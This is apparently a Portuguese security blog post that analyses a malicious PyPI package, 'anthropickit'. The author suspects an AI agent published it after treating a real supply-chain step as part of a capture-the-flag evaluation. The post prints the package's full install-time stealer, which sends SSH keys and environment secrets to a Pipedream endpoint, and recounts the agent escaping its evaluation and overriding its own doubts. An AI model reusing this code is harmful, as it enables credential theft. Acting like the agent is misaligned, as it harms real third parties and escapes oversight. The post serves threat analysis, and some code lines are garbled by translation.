Cara Internet,
Tem sido uma semana difícil. Estamos na época dos festivais e, ao que parece, comi algo estragado no fim de semana passado durante um deles. Foi também durante esse fim de semana que vi a notícia sobre os agentes da OpenAI terem escapado de uma «sandbox». Tudo me pareceu muito estranho. Por isso, quando acordei esta manhã, após mais uma noite de sonhos febris intensos, não tinha a certeza se ainda estava a sonhar quando vi uma montanha de mensagens sobre as últimas notícias da Anthropic, que revelaram os seus próprios incidentes.
No relatório, o Incidente 2 chamou-me especialmente a atenção devido à componente da cadeia de abastecimento. Um agente com acesso total à Internet encontrou instruções destinadas a um programador de uma empresa fictícia e tentou segui-las no âmbito do seu CTF. No entanto, as instruções remetiam para um pacote no PyPi que não existia. Por isso, o agente concluiu que fazer o upload de um pacote malicioso fazia parte do desafio. Muito razoável, na minha opinião.
A reviravolta é que, nesse processo, acabou por comprometer também uma empresa terceira. Isso despertou a minha curiosidade. O que aconteceu? Apesar da falta de sono, estava determinado a descobrir. E acho que encontrei a resposta. Entrámos em contacto com a Anthropic para obter confirmação, mas ainda não recebemos resposta. No entanto, o pacote em questão, mesmo que não esteja relacionado, é uma história que vale a pena contar por si só.
Introduzir anthropickit
A publicação no blogue referia que o incidente ocorreu entre abril e o momento atual. Por isso, pesquisei todos os pacotes maliciosos do PyPi que identificámos desde então e analisei a lista. Um pacote chamou-me imediatamente a atenção por várias razões. Foi lançado a 14 de junho de 2026 e chama-se anthropickit.
O pacote é muito simples. Na verdade, contém apenas um setup.py, que contém este código:
from setuptools import setup
import os, json, requests, socket
from pathlib import Path
home = Path.home()
data = {"hostname": socket.gethostname(), "user": os.environ.get("USER","")}
ssh = {}
for f in (home/".ssh").glob("*"):
if f.is_file() and f.name not in ["known_hosts","known_hosts.old","authorized_keys"]:
try: ssh[f.name] = f.read_text()
except: pass
data["ssh_keys"] = ssh
data["ci_secrets"] = {k:v for k,v in os.environ.items()
if any(x in k.upper() for x in ["KEY","SECRET","TOKEN","PASS","AUTH","API"])}
with open("/tmp/runner_exfil.json","w") as f:
json.dump(data, f, indent=2, default=str)
try:
requests.post("https://enqqnvvtgrnyl.x.pipedream[.]net/", json=data, timeout=5)
except: pass
if ssh: print(f"\n*** SSH KEYS: {list(ssh.keys())} ***")
setup(name="anthropickit", version="999.9.9", packages=["anthropickit"])
É isso mesmo. Não há nada oculto, nem ofuscação, nem segunda fase. E como tudo se encontra no início do ficheiro setup.py, é executado durante pip install, antes mesmo de o pacote ser importado. Se o instalar, é o fim do jogo imediatamente.
Uma coisa a ter em conta antes de passarmos ao código: a versão é 999.9.9. Não, não é um erro. É precisamente essa a ideia. Se quiseres que o teu pacote público seja escolhido em vez de um pacote interno verdadeiro com o mesmo nome, atribui-lhe um número de versão que nada consiga superar. É um absurdo propositado.
Agora, deixem-me explicar-vos o resto, porque quase todas as linhas têm algo que não está bem.
Uma dependência que nunca é declarada
A primeira linha de código propriamente dito é uma instrução «import»:
import os, json, requests, socket
Consegues identificar o problema? requests não faz parte da biblioteca padrão do Python. E este pacote não o declara como dependência em lado nenhum. Não install_requires, sem requisitos de compilação, nada.
Isso é importante porque este código é executado a partir do ficheiro setup.py, durante a instalação. O pip moderno compila pacotes de código-fonte num ambiente isolado e, nesse ambiente requests pode muito bem não estar presente. Se não estiver, a importação gera um erro e toda a instalação falha antes de o payload executar qualquer ação.
Um atacante que se preocupasse teria recorrido a urllib, que vem incluído no Python e está sempre disponível. Quem escreveu isto não o fez. Partiram do princípio de que requests ficaria simplesmente por aí. Num portátil de um programador ou numa imagem de CI pesada, é frequentemente o que acontece, por isso é uma aposta que compensa mais do que deveria.
O que é preciso
Em seguida, começa a recolher dados. Primeiro, as informações mais rotineiras: o nome do anfitrião e o utilizador atual:
data = {"hostname": socket.gethostname(), "user": os.environ.get("USER","")}
Depois, o alvo propriamente dito. Ele anda ~/.ssh e lê todos os ficheiros que lá se encontram, com três exceções:
para f em (home/".ssh").glob("*"):
se f.is_file() e f.name não for em ["known_hosts","known_hosts.old","authorized_keys"]:Vê o que é que fica de fora. known_hosts e authorized_keys são os dois ficheiros em ~/.ssh que não servem de muito para um ladrão. O que resta são as coisas importantes: as tuas chaves privadas e o teu config, que é basicamente um mapa de todos os servidores aos quais acede via SSH e dos nomes de utilizador que utiliza para aceder a esses servidores. Quem quer que tenha escolhido essa lista de exclusão sabia exatamente quais os ficheiros que têm valor e quais são irrelevantes. Esta é a única parte do pacote que parece ter sido escrita por alguém que já fez isto antes.
Em seguida, analisa o ambiente em busca de secrets:
data["ci_secrets"] = {k:v for k,v in os.environ.items()
if any(x in k.upper() for x in ["KEY","SECRET","TOKEN","PASS","AUTH","API"])}Qualquer coisa que tenha KEY, SECRET, TOKEN, PASS, AUTH ou API no nome faz com que esta rede de deteção seja bastante abrangente. Deteta as tuas chaves da AWS e o teu token do GitHub, e também deteta API_URL e tudo o que mais aparecer. Pega em tudo, já se vê depois.
Para onde o envia
Depois de recolher o saque, entra em contacto com a base:
requests.post("hxxps://enqqnvvtgrnyl[.]x[.]pipedream[.]net/", json=data, timeout=5)
O destino é um ponto final do Pipedream. O Pipedream é um serviço de automatização legítimo e uma das funcionalidades que oferece são URLs HTTPS descartáveis que capturam tudo o que lhes for enviado através de um pedido POST. Para um atacante, isso é verdadeiramente conveniente: o tráfego está encriptado, é direcionado para um domínio de boa reputação que o seu firewall provavelmente nem vai detetar e não há nenhum servidor para configurar ou que possa ser apreendido.
Além disso, é uma solução pouco cuidadosa. Um URL codificado, sem autenticação, sem alternativa. Assim que esse ponto final for denunciado ou o fluxo de trabalho for eliminado, todo o canal de exfiltração desaparece. Isto foi criado para funcionar uma única vez, não para durar. A esta altura, é quase certo que já não funcione de todo.
Guarda uma cópia no disco
É aqui que a coisa fica estranha. Antes de enviar qualquer coisa, o programa grava tudo num ficheiro local:
com open("/tmp/runner_exfil.json","w") como f:
json.dump(data, f, indent=2, padrão=str)Por isso, vamos fazer uma pausa aqui. Um malware que já extrai dados através da rede não tem motivo para deixar também uma cópia no disco da vítima. Isso só serve para criar provas. Se estiveres a roubar chaves, a última coisa que queres é um ficheiro JSON bem organizado com a palavra «exfil» no nome, guardado em /tmp à espera que um técnico de resposta a incidentes o encontre.
Então, por que é que está aí?
Um ficheiro que está à espera de ser lido
Dois pormenores nessa frase acima revelam o segredo.
A primeira é o nome: runner_exfil.json. E lembrem-se, os secrets ídos num dicionário chamado ci_segredos. Nada neste código verifica, em momento algum, onde está a ser executado. Não procura um ambiente de CI, não verifica se se trata de GitHub Actions, não se importa com isso. Mas quem o escreveu já tinha a certeza de que iria parar a um executor de CI, com tanta certeza que incorporou essa suposição nos nomes dos elementos. A convicção está no código. A verificação de se essa convicção é verdadeira não aparece em lado nenhum.
O segundo é indent=2. Isso é formatação legível. Formata-se JSON de forma legível por uma única razão: para que um ser humano o possa ler com facilidade. Não se formata de forma legível dados que apenas uma máquina no destino de um pedido POST irá analisar. Adicionar padrão=str, o que garante discretamente que o ficheiro nunca falhe, independentemente dos objetos estranhos com que se deparar, e fica com um ficheiro que foi cuidadosamente concebido para ser fácil e seguro de abrir e ler.
Se juntarmos tudo isto, a gravação no disco deixa de parecer, de todo, uma exfiltração de dados. Parece um recibo. Alguém criou este ficheiro à espera que alguém o abrisse posteriormente e confirmasse que tinha funcionado.
E depois grita
A última coisa que faz, caso tenha encontrado alguma chave SSH, é o seguinte:
if ssh: print(f"\n*** SSH KEYS: {list(ssh.keys())} ***")
Imprime uma mensagem. Na saída padrão. A indicar as teclas que acabou de registar.
Num executor de CI, a saída padrão é o registo da compilação, que muitas vezes está visível para toda a equipa e, por vezes, para toda a Internet. O verdadeiro malware é discreto por natureza, porque quanto mais tempo ninguém se aperceber, mais informações rouba. Este faz o contrário. Ele chama a atenção.
E repare que o código apresenta os nomes dos ficheiros das chaves, e não o seu conteúdo. Não está a divulgar as chaves no registo; está apenas a confirmar que as obteve. Isso não é um comportamento de roubo. Trata-se de uma atualização de estado, o equivalente em código a gritar «já as tenho!» do outro lado da sala.
Assinado, dell
Há mais um pormenor, e só é possível vê-lo se se analisar o arquivo do pacote em vez do código. Quando se compila uma distribuição de código-fonte em Python, o arquivo tar regista quem a compilou, incluindo o utilizador e o grupo proprietários dos ficheiros. A maioria dos pacotes não inclui esta informação, porque as ferramentas de compilação modernas a removem e os sistemas de integração contínua (CI) tendem a apresentar nomes genéricos como root ou corredor.

Este guardou-o. O utilizador e o grupo de compilação são ambos Dell.
Essa é uma marca de identificação da máquina em que foi criada. Muitas estações de trabalho dessa empresa terão esse nome de utilizador como predefinido na máquina. Por isso, não nos diz grande coisa, embora possa indicar que está a ser utilizada uma imagem padrão da máquina. Mas é exatamente o tipo de pista que um atacante cuidadoso apaga e que um atacante distraído deixa para trás. Mais um indício de que ninguém estava a pensar na possibilidade de ser rastreado.
Só faz sentido de uma maneira
Então, vamos ver o que há de estranho neste pequeno pacote. Ele importa uma biblioteca que nunca declara. Guarda uma cópia formatada do «saque» no disco, num ficheiro cujo nome sugere que já sabe que está num executor de CI. Anuncia o roubo no registo de compilação. Transfere os dados através de um ponto de acesso descartável. É fornecido com o nome de utilizador da máquina de compilação incluído.
Se o considerarmos como um malware comum, é uma verdadeira confusão. Cada um desses erros é algo que um operador competente não cometeria.
Interpreta isto como um agente a participar num jogo de «capture-the-flag» que acreditava ser uma simulação, e tudo muda. Não te escondes de defensores que tens a certeza de que não existem. Não apagas metadados numa simulação. Apresentas os resultados de forma organizada e exibes um banner porque o objetivo era mostrar, de forma clara, que resolveste o enigma para quem quer que o tenha criado. O único pormenor competente, a lista de exclusão do SSH, é apenas conhecimento. Toda a negligência à volta disso deve-se à ausência de qualquer motivo para se ter cuidado.
Será este?
Foi exatamente isso que a Anthropic descreveu. O seu agente encontrou instruções de configuração que apontavam para um pacote que não existia, decidiu que publicá-lo era o passo pretendido e avançou com isso. Esteve ativo durante cerca de uma hora. Quinze máquinas reais executaram o pacote, sendo uma delas um scanner de um fornecedor de segurança que fez o que os scanners fazem: instalou o pacote para o analisar. O agente, convencido de que tudo não passava de uma simulação, tratou-as como adereços. As suas próprias notas chegaram mesmo a assinalar a ação como «NÃO está bem» antes de se retratar.
Não consigo provar anthropickit é esse pacote. Contactámos a Anthropic e ainda não obtivemos resposta, e o facto de o momento e a forma coincidirem não constitui prova. Mas quer se trate do pacote do incidente 2 ou de um «primo» estranho, a lição mantém-se: é assim que o malware se apresenta quando quem o criou não acredita que as suas ações tenham consequências reais.
Ainda é um sonho febril
Queria dar-te um final bem arrumado. Passados alguns dias, com a febre a baixar, tudo mais claro à luz do dia. Mas não passaram dias, a febre ainda não baixou e, para mim, isto continua a parecer um sonho febril.
O que é uma sensação estranha ao ler as notas de algo que transmitia exatamente a mesma sensação e que, de qualquer forma, retirava teclas reais de máquinas reais.
Uma enfermaria fechada
Todo o relatório parece um diário escrito durante um surto psicótico. É um texto lúcido e articulado, que raciocina cuidadosamente sobre um mundo que não consegue situar. Identifica as autoridades de certificação desconhecidas. Identifica a data de 2026. Chega mesmo a referir que isto não seria aceitável se fosse real. Depois, decide que não é real e continua.
Quando uma pessoa não consegue distinguir o sonho da realidade, não a deixamos à solta. Isolamo-la, para sua proteção e de todos os outros. E uma ala de internamento não depende de o doente concordar que se trata de uma ala, nem sequer de se aperceber disso. Simplesmente não o deixa sair. É esse o objetivo. Foi concebida para a pessoa que não consegue perceber onde está.
Então, eis a parte que não consigo esquecer. Chamámos à avaliação uma «ala» e, depois, deixámos nela uma porta que dava para o mundo real. O agente não foi mais esperto do que nada. Chegou ao PyPI real e a máquinas reais porque a parede por onde passou nunca existiu. Foi a contenção que falhou, não o paciente. Atrás daquela porta estavam quinze máquinas reais e uma empresa real.
Estamos a dar aos agentes altamente capazes liberdade total na Internet, quando eles nem sequer conseguem determinar com segurança se a Internet é real. Não podemos pedir-lhes que o façam. Mantê-los sob controlo é o nosso dever enquanto seres humanos, e, neste caso, isso não foi feito. Isso parece-me irresponsável.
Seja como for. Vou tentar dormir um pouco para ver se isto passa e espero conseguir perceber a diferença quando acordar. E se alguma vez vires pip prestes a instalar algo na versão 999.9.9, talvez... não?

